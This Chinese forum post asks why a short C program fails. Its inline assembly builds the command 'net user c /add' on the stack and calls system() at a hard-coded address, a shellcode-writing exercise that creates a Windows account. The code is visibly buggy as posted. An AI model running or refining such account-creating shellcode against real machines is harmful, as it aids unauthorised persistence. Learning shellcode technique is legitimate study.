我写了一小段汇编代码,但是执行的时候总是没有理想的效果,不知问题出在哪儿了?
#include "windows.h"
#include "stdio.h"
int main()
{
LoadLibrary("msvcrt.dll");
// system("net user c /add");
//用汇编实现system("net user c /add");
_asm
{
mov esp,ebp
push ebp
mov ebp,esp
sub esp,0FH
mov byte ptr [ebp-0fh],6eh
mov byte ptr [ebp-0eh],65h
mov byte ptr [ebp-0dh],74h
mov byte ptr [ebp-0ch],20h
mov byte ptr [ebp-0bh],75h
mov byte ptr [ebp-0ah],73h
mov byte ptr [ebp-09h],65h
mov byte ptr [ebp-08h],72h
mov byte ptr [ebp-07h],20h
mov byte ptr [ebp-06h],63h
mov byte ptr [ebp-05h],20h
mov byte ptr [ebp-04h],2Fh
mov byte ptr [ebp-03h],61h
mov byte ptr [ebp-02h],64h
mov byte ptr [ebp-01h],64h
mov byte ptr [ebp-00h],0h
lea eax, [ebp-0fH];
push eax;
mov eax, 0x77BF93C7;addr of system
call eax;
};
return 0;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课